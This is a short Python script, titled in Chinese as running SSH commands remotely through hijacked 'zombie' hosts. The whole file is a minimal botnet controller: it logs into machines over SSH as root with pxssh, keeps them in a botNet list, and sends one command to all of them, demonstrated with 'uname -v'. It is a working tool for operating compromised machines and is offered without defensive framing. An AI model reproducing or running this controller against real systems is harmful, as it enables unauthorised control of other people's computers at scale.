python3通过肉鸡远程执行SSH指令

from pexpect import pxssh
import optparse

class Client:

    def __init__(self,host,user,password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host,self.user,self.password)
            return s
        except Exception as e:
            print(e)
            print("[-] Error Connecting")

    def send_command(self,cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

botNet = []
def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print('[*] Output from '+ client.host)
        print('[+] '+str(output)+'\n')

def addClient(host,user,password):
    client = Client(host,user,password)
    botNet.append(client)

addClient('10.9.9.2','root','aaa')
botnetCommand('uname -v')